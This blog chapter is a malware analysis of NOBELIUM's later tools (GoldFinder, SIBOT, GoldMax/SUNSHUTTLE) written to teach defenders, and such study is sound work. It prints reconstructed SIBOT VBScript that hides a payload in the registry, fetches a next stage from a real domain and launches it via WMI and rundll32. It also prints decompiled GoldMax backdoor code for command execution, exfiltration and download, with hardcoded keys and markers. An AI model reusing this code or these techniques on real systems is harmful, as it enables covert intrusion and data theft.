Martin's Blog

9. Later Tooling and Attribution

Disclosure did not end the actor. Through 2021 the group’s broader toolkit surfaced, and three of those families were examined as analyzable artifacts: GoldFinder, SIBOT, and GoldMax / SUNSHUTTLE. They are a different generation from SUNBURST, Go and VBScript rather than a .NET class smuggled into Orion, and Microsoft tied them to NOBELIUM on 4 March 2021. Studying them is useful for two reasons: they show the actor’s engineering habits off the supply-chain stage, and the GoldMax pair in particular delivers the book’s clearest lesson about why string-based IOCs age and code/behaviour endure.

(These three are post-disclosure tooling acquired separately for analysis, not carved from the four Orion installers.)

9.1 GoldFinder: mapping the path to C2

GoldFinder (f2a8bdf1…) is the simplest of the three and the most telling about mindset. It is a small Go tool whose entire job is to issue an HTTP request to a hardcoded URL and log every hop along the way: proxies, redirectors, the route a beacon would actually take to reach its server. It is not a backdoor; it is reconnaissance for evasion.

It also shows why triage order matters. GoldFinder ships UPX-packed, so a naïve look sees only the three-function UPX stub: no Go code, no symbols. After static unpacking (upx -d, which does not execute the sample), the binary reveals 4,566 Go functions with names, and the names make the intent unambiguous:

So the operator gets a readable transcript of every request/response on the path to a C2 host, intelligence about which redirectors and inspection devices sit in the way, used to plan evasion. In the GoldMax reporting (§9.3) GoldFinder (a.k.a. SOLARFLARE) is framed exactly this way: a recon precursor that “checks the network capabilities of the host … to identify it as a future platform for SUNSHUTTLE/GoldMax.”

9.2 SIBOT: a VBScript downloader that hides in the registry

SIBOT (7e05ff08…) is a later NOBELIUM VBScript stage that persists a self-decoding script in the registry, then downloads and runs the next stage. Its raw form is triple-obfuscated; the outer layer uses a custom digit encoding (each character is one digit shifted +17 in ASCII, A→0 … J→9, with a <32 pair pulling a third digit). Decoded and reconstructed, the logic is two stages:

' (1) Outer dropper, stash the self-decoding payload under HKLM
Const HKLM = &H80000002
key = "SOFTWARE\Microsoft\Windows\CurrentVersion\sibot"
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
reg.SetStringValue HKLM, key, "", SKI          ' SKI = EXECUTE("…obfuscated inner stage…")

' (2) Inner stage, download, verify, drop, execute
http.Open "GET", "https://thewire.hologic.com/includes", False
http.SetRequestHeader "X-XSRF-TOKEN", <HomeNet LAN connection GUID>      ' per-host bot id
http.Send
' validate response (custom checksum: XOR 0xD0, alternating −7/−163, 4-byte length), then write:
'   c:\windows\system32\drivers\netioc.sys
Set proc = GetObject("winmgmts:root\cimv2:Win32_Process")
proc.Create "rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem", _
            "c:\windows\system32\drivers", startup, pid                  ' WMI process creation

Walking it:

  1. key = "…\CurrentVersion\sibot" + reg.SetStringValue: the dropper writes a self-decoding VBScript into an HKLM registry value named sibot. The payload lives in the registry, not as a file on disk; there is nothing obvious for a file scanner to find.
  2. http.Open "GET", "https://thewire.hologic[.]com/includes": the inner stage fetches the next payload from an abused legitimate domain (thewire.hologic[.]com). Reaching out to a real, reputable site is itself camouflage.
  3. SetRequestHeader "X-XSRF-TOKEN", <HomeNet LAN connection GUID>: the bot ID is the host’s LAN connection GUID (from WMI root\Microsoft\HomeNet), smuggled in a header that looks like an ordinary anti-CSRF token. (The User-Agent is spoofed as Chromium/78.0.3882.0 Linux.)
  4. custom-checksum validation → write netioc.sys: the response is integrity-checked with a bespoke checksum, then written to c:\windows\system32\drivers\netioc.sys, a path and name chosen to look like a legitimate network driver.
  5. proc.Create "rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem": execution is via WMI Win32_Process.Create, launching rundll32 against the dropped “driver” and a plausibly-named export. Using WMI to spawn the process keeps SIBOT itself off the obvious parent-child chain.
SIBOT IOC Value
C2 (abused legit domain) https://thewire.hologic[.]com/includes
Dropped file c:\windows\system32\drivers\netioc.sys
Execution rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem (via WMI)
Persistence / store HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot
Bot ID header X-XSRF-TOKEN: <HomeNet LAN connection GUID>
User-Agent Chromium/78.0.3882.0 Linux

Every choice here is about looking ordinary: a registry value, a fetch from a real domain, a header that mimics a CSRF token, a “driver” in the drivers folder, and WMI as the launcher.

9.3 GoldMax / SUNSHUTTLE: the bespoke Go backdoor

GoldMax (Microsoft) and SUNSHUTTLE (FireEye/Mandiant) are two vendor names for one piece of malware: a 64-bit Go backdoor (built with Go 1.14.2), the actor’s custom second-stage C2 implant, the same stage as TEARDROP→BEACON (Chapter 6), but a bespoke implant rather than a loader for someone else’s. Two builds were examined; the 94c58c7f… build ships unpacked and retains its full Go symbol table, so the implant’s own function names come back directly (4,761 functions, including 19 main.* functions that expose the GoldMax-specific surface).

Config: plaintext settings, one encrypted file

A counterintuitive design point: GoldMax’s configuration is not an embedded ciphertext blob. The C2 domain, the decoy list, and the User-Agent sit in the binary as plaintext (which is why strings recovers them and the two-build diff is so clean). At runtime main.define_internal_settings serializes those defaults, main.encrypts them, and writes the only encrypted blob to disk, config.dat (AES-CFB + base64, written atomically as config.dat.tmp then renamed). Later runs read and decrypt it. (The separately acquired bc7a3b3c… artifact is one such blob, 235 B base64 → 176 B = 16-byte IV + 160-byte ciphertext, GoldMax’s exact format, but it does not decrypt under either build’s key, because it belongs to a third build.)

Crypto: AES, with one finding the public MAR omitted

// main_encrypt@643E20   (IDA, Go HLIL)
v11 = crypto_aes_NewCipher(a1, a2, a3);                  // key = hardcoded string bytes, used directly
  main_Pad()                                          // PKCS#7-style pad
io_ReadAtLeast(rand.Reader, dst, 16, );                // 16 random IV bytes, prepended to output
v17 = crypto_cipher_newCFB(block, iv, );               // AES-CFB  (← not CBC)
v9  = base64.EncodeToString(ivciphertext); strip "=";   // config.dat / on-wire form
  1. crypto_aes_NewCipher with a hardcoded 32-byte string key used directly, in 94c58c7f the key is hz8l2fnpvp71ujfy8rht6b0smouvp9k8, lifted straight from the string table (located right after the /css/style.css URL). The key is unique per sample (another build’s is u66vk8e1xe0qpvs2ecp1d14y3qx3d334).
  2. io_ReadAtLeast(rand.Reader, dst, 16, …): 16 random IV bytes from crypto/rand, prepended to the output.
  3. crypto_cipher_newCFB: the mode is AES-CFB, not CBC. AES-256, the per-sample key uniqueness, and the custom base64 (=→stripped) are all in CISA AR21-105A; the mode (CFB), the prepended random IV, and the key’s exact location are recovered here and are not stated in the public MAR. (main.GetMD5Hash is a victim fingerprint, not the cipher key, a distinction worth keeping straight.)

C2 beacon and command dispatch

The beacon (main.beaconing / request_session_key) is a net/http GET to reyweb[.]com paths disguised as web assets, /icon.ico, /css/style.css, /css/bootstrap.css, /scripts/bootstrap.js, /assets/index.php, with a spoofed Referer, a Firefox-75 User-Agent, and the encrypted payload carried in cookies (hardcoded cookie keys like HjELmFxKJc, iN678zYrXMJZ). Commands are gated by a 19-character marker and executed via os/exec:

// main_resolve_command@647AA0
if ( strings_Index(resp, "ubFxROBRwfswVRWNjLC", 19) >= 0 ) {                       // command marker
  v177 = os_exec_Command("cmd", 3, ); os_exec__ptr_Cmd_Run(v177); v63 = "EXECED"; // shell exec
    os_exec__ptr_Cmd_Output()                                                   // run + capture output
  main_send_file_part();                                                          // upload / exfil
  main_wget_file( strings_Replace(arg, "HuLjdQwyCH", ) ); main_clean_file();     // download + clean up
}
main_send_command_result("ok" / "EXECED", );                                      // result → C2
  1. strings_Index(resp, "ubFxROBRwfswVRWNjLC", 19): only a response containing the 19-char marker is treated as a command; everything else is ignored. The marker is a cheap authenticator and a signature anchor (remember it for §9.4).
  2. os_exec_Command("cmd", …) + Run / Output: shell execution, both fire-and-forget and run-and-capture.
  3. main_send_file_part / main_wget_file / main_clean_file: upload (exfil), download (stage), and cleanup. With process spawning and self-update, this is a full RAT.

Two more behaviours round it out:

9.4 Two builds, one implant: the detection lesson

The second GoldMax sample, ec5f07c1…, is UPX-packed; unpacked, it decompiles to the same 4,761 functions and the same 19 main.* as 94c58c7f. It is the same implant, recompiled. The only differences are per-build operational config:

In total, 104 decompiled lines differ, and only these constants change. GoldMax was rebuilt per target with a fresh C2 and fresh protocol tokens, with no new capability. That is a deliberate counter-signature measure, and it is the concrete lesson this chapter exists to deliver:

A YARA rule or IOC feed keyed on one build’s literal strings (the marker ubFxROBRwfswVRWNjLC, the domain reyweb[.]com, or the key hz8l2fnpvp71ujfy8rht6b0smouvp9k8) catches that build and misses its siblings. What does not rotate is the code structure and behaviour: the main.encrypt AES-CFB-with-prepended-IV routine, the marker-gated os/exec dispatch, the false_requesting decoy pattern, the narrow full MAC address check for Hyper-V. Detection that holds across builds targets those. This is not exotic tradecraft; it is routine per-build hygiene, but it is exactly why string/IOC feeds age badly and code-/behaviour-based detection is the durable layer.

The same point generalizes back across the whole book: the FNV-hashed blocklist and the ZipHelper-DEFLATE strings in SUNBURST (Chapter 4), the loaders’ decode-and-map sequence (Chapter 6), and GoldMax’s crypto routine are all structural signatures that survive a recompile; the domains, markers, and keys are the parts the actor changed for free.

9.5 Closing the loop: attribution

These later families are not a footnote to attribution; they are part of how it was built. The 4 March 2021 Microsoft report that detailed GoldMax, GoldFinder, and SIBOT mapped the actor’s later toolkit to NOBELIUM, reinforcing the cluster that the SUNSPOT (CrowdStrike, 11 Jan) and SUNBURST (Mandiant) analyses had already drawn, and on 15 April 2021 the U.S. government formally attributed the whole operation to Russia’s SVR (APT29), with the UK concurring. The full crosswalk, confidence levels, and timeline are in Chapter 2 (§2.5); the point here is only that the malware in this chapter was one of the strands that the attribution rope was wound from.

The next chapter covers what attribution triggered: the emergency response, sanctions, the landmark SEC case, and the supply-chain policy reckoning.

Sources & evidence

↑ Revisiting the SolarWinds Compromise